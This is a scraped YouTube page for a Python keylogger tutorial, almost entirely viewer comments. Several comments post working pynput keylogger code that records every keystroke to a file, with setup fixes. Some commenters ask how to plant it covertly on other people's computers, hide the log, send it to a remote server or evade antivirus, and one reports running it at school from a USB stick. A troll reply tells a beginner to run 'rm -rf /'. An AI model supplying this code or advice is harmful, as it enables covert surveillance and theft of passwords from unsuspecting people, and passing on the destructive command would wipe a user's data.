HOW TO MAKE A KEYLOGGER IN 19 LINES OF CODE - PYTHON TUTORIAL
Vložit
- čas přidán 6. 09. 2024
- ❤️ Support me because corporate sponsors rarely do!
/ joshuafluke
🔥 Need a resume/cover letter? Check out my templates!
grindreel.com/
👊 Join the community!
/ discord
My Other Socials🤳
/ joshua_fluke
/ joshuafluke 📸
/ joshuafluke 🐦
📧 Email me directly!: grindreel@gmail.com
📧 Business inquiries: Joshuafluke@thoughtleaders.io
My Gear ⚙️: kit.co/JoshuaF...
Hey Joshua!, great tutorial
*********IF YOU CAN'T RUN THE SCRIPT READ THIS********
There is a problem in line 8, with the variable 'messages' at min 5:50 is actually 'message' that's why nobody can run your script.
Even though you have debug it you forgot to put that in the video and us (viewers) couldn't see the variable
**************************************************************
Anyways, great tutorial, keep up with the videos
Cheers from Argentina
This was my problem as well. Thanks.
Thank you so much
If you still have the code could you copy and paste it in a reply, I have copied this exactly and it doesn’t seem to work
still not working
//////////////////////////////////////////////////////////////////////////////////////////////////
import logging
from pynput.keyboard import Key, Listener
#Log file
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s:')
def on_press(key):
logging.info(str(key))
#if key = Key.esc:
#return false
with Listener(on_press=on_press) as listener:
listener.join()
//////////////////////////////////////////////////////////////////////////////////////////////////
if this doesnt work because visual studio cant import the pynput directory, try copy-paste the 'pynput' directory in the same place where your logger.pyw is located
THE BACKGROUND SONG ... for anyone wondering like me, it's Second Side by Yomoti. ;) You're welcome.
Huh. From now on, when I'm browsing the dark web, I'm going to be paranoid and check my task manager every 5 minutes!
LoL man 😂😂
You are crazy for being on the darknet with Windows dude🤣😅😆 I wouldn't worry about your task manager just sayin.....
@@asdfghjklasdfghjkl2548 he,s saying he's gonna check the task manager to make sure the dark web didn't give him a rat
hahah youre surfing darkweb with windows LOL thats too good
@Sam Peterson Got any good Market links ?
for some reason at 1:50 i needed to type "py setup .\setup.py" instead of "python setup .\setup.py" for it to work
me too
this means you did not add the environment path to your system files. if you follow this video it will show you how to correctly set it up: czcams.com/video/dNFgRUD2w68/video.html
@@glassbland8763 i didit work ik this is old but still
For those who couldn't get it to write to the file, when he types in "(Messages)s" make it "(Message)s", that fixed mine
u are the real MVP
thx
For everyone who is not able to import the pynput: go to your keylog folder and figure out the actual path of the pynput directory. Mine was "keylog\pynput-master\lib"
then change your Directory with the cd command to this exact path before you type "python" and "import pynput". This should fix your problem if you got something like:
/*
Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput'
*/
but, do we have to create and empty folder called keylog or what?
Der H mine is in the lib folder as well but I still get this error when I try to import it. Any tips?
you saved my life!!!one1!
@BPGStudios i hope i can help you in time. The command you are looking for is "cd" - short for "change directory". Heres an example that should work for you (dont copy the quotation marks): "cd pynput-master\lib". You have to do this in the console as shown in the video. If this doesnt work you need to check your folder structure with "dir". there you can see what files/directories are available to you. Use cd + the name of the directory or "cd.." to get back. After thta you can open python with "python" and then type "import python".
@@Xy-gx8ou Do you know why I'd get this error?
Traceback (most recent call last):
File ".\logger.pyw", line 2, in
from pynput.keyboard import Key, Listener
File "F:\Keylog\pynput-master\lib\pynput\__init__.py", line 40, in
from . import keyboard
File "F:\Keylog\pynput-master\lib\pynput\keyboard\__init__.py", line 44, in
from ._win32 import KeyCode, Key, Controller, Listener
File "F:\Keylog\pynput-master\lib\pynput\keyboard\_win32.py", line 30, in
import six
ModuleNotFoundError: No module named 'six'
why does no one use the pip install command? I think it's installed when you download python for windows
Windows key + R > type "cmd" then type run the command "pip install pynput" or pip3 install pynput"
if that doesn't work you haven't installed pip while installing python. it saves downloading and unzipping the file and takes about 5 seconds to install packages
Pip sometimes doesn’t exist as an environment variable. You can sometimes run it from the scripts directory
@@jellohunter7981 Isn't that what he literally just explained in his comment loo
@@john_mcafees_poop_pipe2906 no he said the issue is that you haven’t installed it, that may not be always the case
@@john_mcafees_poop_pipe2906 it can sometimes be the environment variable
on line 2 it says this what do i do {
"resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
"owner": "python",
"code": "syntax-error",
"severity": 8,
"message": "unexpected indent (, line 2)",
"source": "pylint",
"startLineNumber": 2,
"startColumn": 4,
"endLineNumber": 2,
"endColumn": 4
}
why my folder cant open as code?
uninstall it then reinstall it and check all the boxes during reinstallation process and make sure you click "open with code" option
Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput'
@Sebastián Ywaskewycz newbie here. How do you change the directory
@@malcolmlai6915 just type cd .(whatever your directory is, without braces)
A simple way to get pynput ...>
cd keylog/pynput-master....
with the directory set to pynput-master --> "pip install pynput"
Fixes the problem and then the "import pynput" does not produce an error. Just like Josh.
Hope it helps!
Thank you so much
its really easy, but the problem is that u cant run it on other computers than your own, i mean u can run it but the keylog will be created for themselves
I did everything no error codes, but when I open note pad and type something, it won't shot in the key_log txt file how do I fix this??
How would you be able to remotely access The txt file from somewhere else would you have to somehow in next it and get it to send it to you ??
Use ftblib and send the file to your server
@@thefuton thanks man
Nice video, but a doubt, how do I send the information collected by the keylogger to a simple txt file?
idk either
Is there a way can edit this key-logger to make it write in a single line? Make it record key strokes in paragraphs. another question , is 'key' the variable that keeps the number of strokes on the text file? or log_dir?
print it and see
Were is the link? I think I'm dumb
Hello I have a problem:
The code works but only logs when I type stuff in visual studio.
When I try to run logger.pyw I get the loading icon but nothing happens.
Nothing gets logged.
Nothing shows up in taskmanager either.
got the same issue
@@ambrxq_here any idea on how to fix this issue?
@@vxyr7697 no
when i try to do python setup is says warning the wheel package is not available
Suppose now that you log out and log back in typing your username and password over again. Will it catch that? And what if you shut down your computer and re-boot? Will it catch the username and password then?
if we shut down the computer all the processes will close so no
The wheel package is not available
how do i get past this error!
I am getting the same error. It's a really old video maybe the source code is outdated
meanwhile on the 9th line: when is this damn line ever gonna end?
so technicly i could get myself an old ass computer buy as many 10$ keyboards as i can monger and look up as many keyloggers as i can find on the dark web and practise boxing on the keyboards all night for years to see if it ticks of the hacker?
Mine just gives me a blank text file?
Same here
These tutorial are fake. I almost tried thousands of them. But got the same result as yours.not everyone can hack
@@wp-wisdom your not doing something right.
@@xhir0 i got an empty file too... so i'm not sure what i did wrong, any idea?
Did anyone get' can't open file '.\logger.pyw': [Errno 2] No such file or directory'
if so how did you fix it?
switch back to the keylogger folder
idk what I did to make it work but make sure you get all the indents correct and the line order EXACTLY right. I know its stupid but it has to be like that. however right now it inputs a u' after eversingle one of my regular keys
I'm getting an error message, NO MODULE NAMED 'PYNPUT'
switch to python 3.7.7
open command prompt and type: pip install pynput
There are no links in the description
it says WARNING: The wheel package is not available.
TypeError: join() missing 1 required positional argument: 'self' does anyone have a fix for this?
My key_log.txt is empty, can you help me understand why?
On line 8 where it says messages change it to message
@@romzamir i did this and it still shows up empty
when he types in (Messages)s make it (Message)s also if it still does not work double check your spelling and all other characters and ctrl+S to save it then run it again
thanks man
This was dope thanks sir ✊🏾
Did it work ?i
Any tips on how to spot a keylogger running in the background and if you do manage to spot one,how do you deal with it? Thanks in advance!
Typically how Josh showed us, going to Task Manager and ending any suspicious apps running. Some "viruses" bloat other programs and that's basically a re-imaging of a computer. Unless it's a hardware one then you literally have to destroy it.
There is no link to git in the description.
your voice reminds me of Morty from "Rick and Morty"
Dumbass. 😂
that exact same keylogger code I saw it in one of the videos of David Bombal . It will be good if someone explained what the code should do by parts. Beginners are lost like myself. Also there is an option to compile the code with nuitka to convert the py to exe to run it in windows without python . thanks for the info .
when I type import pynput it says [Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput']
I'm having the same issue. Anyone have a solution?
Install pynput by typing pip install pynput
error in this line
with Listener(on_press=on_press) as listener
for anyone who's having trouble doing this
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
he didnt mention some of his changes.
Yours worked for me. Much appreciated!
sadly this didnt work i keep on getting a syntax error here:
File ".\logger.pyw", line 6
logging.basicConfig(filename=log_dir) + "key_log.txt"), level=logging.DEBUG, format="%(asctime)s: %(messages)s:")
^
SyntaxError: invalid syntax
Aiden Atkinson - Aido Playdo it must be %(message)s :’)
Have to admit i dont really understand what you do before you start to code. Would be neat if someone could explain.
Cool Video! I was wondering how I can make the code output every word in a line instead of one character at a time, do you have any suggestions?
Try and start by deleting system 32
This guy is a troll
run rm -rf / in command line
Try learning formatting languages to better the readability
you have to .replace the string apices ' with a quotation mark with no space something like this: log.replace("'","") and then if you want you have to watch for the spacebar key pressed and replace it with a space " "
hope it helps
so how would i send it to someone wouldnt they need python installed aswell and it couldnt be hidden in another program or anything
You wouldn't...you'd need access to their desktop
FBI, I’m here for non malicious purposes
FBI, I am here just to mess with my friend.
FBI idk why tf i am here but i am going to use this to track what i type because idk what i be searching up sometimes.
People like you is why grandmas are paranoid😂
for me when ever i put python .\setup.py and enter it just tellss me this WARNING: The wheel package is not available.
SyntaxError: unexpected character after line continuation character
No module named pynput
Lopez pip install pynput
One of my favorite programing language's
and one of the easiest
i success to everything in this video, but got no one character into the txt file. the file failed to record the strokes. where is my fault?
Joshua Fluke,
Hi a query because my Keylog folder does not appear? from my windows 10 and download python and install everything as you showed in this tutorial.
Also when I'm going to extract from pynput-master.zip does not I extract the Keylog folder?
That's why I consult you.
Use python3 and *pip install pynput*
Do you need Winrar to extract it or can you just extract it into the log folder? And I couldn't install setup.py. Then having the error saying no commands supplied.
Ofrelec make sure you're in the pynput folder when you install
Try with: pip install pyinput
inb4: You need python3+
@@JoshuaFluke1 thank you so much for this command it worked like a charm but can you explain me a little bit about this anomaly within pip and python installer. Thank you once again you are doing a great job.
Does this work when i let other people download it and i can see what their typing
WHy do you need to write code to create keylogger, when there is tools available ?
After 2:06 it gives me an error with the message
"python : The term 'python' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of
the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ python .\setup.py
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (python:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException"
Does this mean I installed python incorrectly? All help will be appreciated.
I think your antivirus is protecting it.
Is there a way to get it not to go to a new line when logging keys only until the space bar is pressed?
I have this problem with invalid syntax in logger.pyw it show a red thing and I tried to rewrite all code but still show the same problem.
could u get it into someones computer and get the text back to ur computer, like a remote access keylogger
Nice. Did it, and Windows Defender won't let me run the file haha
why all youtube tutorials about keylogging don't talk about special characters and keys?
Does this work on a mac, because it does not put anything inside of the file.
how do if fix the import pynput, it just comes up with the error
>>> import pynput
Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput'
In your terminal: pip3 install pynput
Can someone help me everything works but when I want to start the code (not with VS) its not working?
File ".\logger.pyw", line 8, in
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=loggin.DEBUG, format='%(asctime)s: %(message)s:')
NameError: name 'logging' is not defined
it also says this what do i do{
"resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
"owner": "python",
"code": "syntax-error",
"severity": 8,
"message": "unexpected indent (, line 7)",
"source": "pylint",
"startLineNumber": 7,
"startColumn": 2,
"endLineNumber": 7,
"endColumn": 2
}
0:07 LMAO
SO what if I DID get an error when you said "If you didn't get an error....." and proceeded to continue without saying what to do if we get one
NOW,
how to share it to someone?? without letting them know.
My CD code line says path doesn't exist. Help?
Why exactly do we need the Listener for?
Any way I can have it that the txt log gets hidden in like the downloads besides where the logger is ?
How can we spread it ? Like can we make listener on our end or smtg like that
i just cant open the folder with code idk why
i copied the same code but my file creates a the file but the does not print out anything.
what can be the reason ?
Tanvir Ahmed I have the same issue
When I right click it does nothing
You should double click i think
You didn't put it in the description omg
i have gotten it to work but when i press a key it dosnt put it into the text file can someone help me
10:08 Dust on you camera btw (right corner)
it dosent show to me "open with VSC" :(
it does not work for me not even the esc press
okay ik this kinda a year late but if u see this, everything just goes into the terminal???? help?
where do u get the keylogger file?
Can this be setup inside a USB so that i can set it up on my PC and plug it into someone elses and they would never know?
yeahhhh i want to know this too
Yes put the python on the usb. I did this at school lmao
@joshawa fluke
This is 5 years ago, but; "wrapper = Textwrapper(initial_indent="* ")", was still a thing... Imagine logging a fast typer, & the words only appear one above the other in your logfile. 😅 In reality, this is the very basic of basics when writing a logg3r. But not efficient.
A.
There is no option to open with visual studio code even after I install it
theres an option to toggle it whilst installing it
Awesome tutorial, could anyone help me with what statment needed for it to print each letter on the same line as a regular text document. I hope someone understand what i mean sure its really simple but i tried to print it as a string with loop but dident work.
Try using the print(#character or whatever#, end= ' , ' )
this just doesnt work no matter what fixes are provided in the comments since visual studio keeps highlighting text like its weird when its noy
not
There is no link in the description for the third party library
just use pip install pynput in cmd
when i tried it i have to keep the terminal open even if i put the extension to pyw
that intro had me rolling
Please send link to the glyph wallpaper that you have in the secondary moitor. Thanks :)
im pretty sure this is the final code
from pynput.keyboard import Key, Listener
import logging
#if no name it gets put into an empty string
log_dir = ""
#This is a basic logging function
logging.basicConfg(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s
#this is from the library
def on_press(key):
logging.info(str(key))
#if key == Key.esc:
# Stop listener
#return false
#this says, listener is on
with Listener(on_press=on_press) as listener:
listener.join()
lmk if any mistakes
@K Gamer25 thanks after 2 years i finally found the solution
If there is a computer in the domain (meaning that there is user account switching pretty often) would it work from the moment I start the program until I stop or it's going to "kill itself" when there is an account log out?
it doesn t make the log file any ideas?
error 8:27 pynput.keyboard Errno 2] No such file or directory
what do i have to change so that windows doesnt see it as a virus :/?
could you please explain how we get the key strokes into the .txt file?
This line of code:
logging.info(str(key))
@@KevinArellano I had a issue with mine not creating the text document at all
epic hacker intro
cool wallpaper, where i can get it?
have u Found ?
you the guy from hunger games with the grandma?
Hey at 2:17 I run everything correctly but VSC (virtual Studio Code) gives me an erroy. It firsts gives me a warning saying the wheel package is not available. The Error says subprocess-exited-with-error
What do I do. I have PIP btw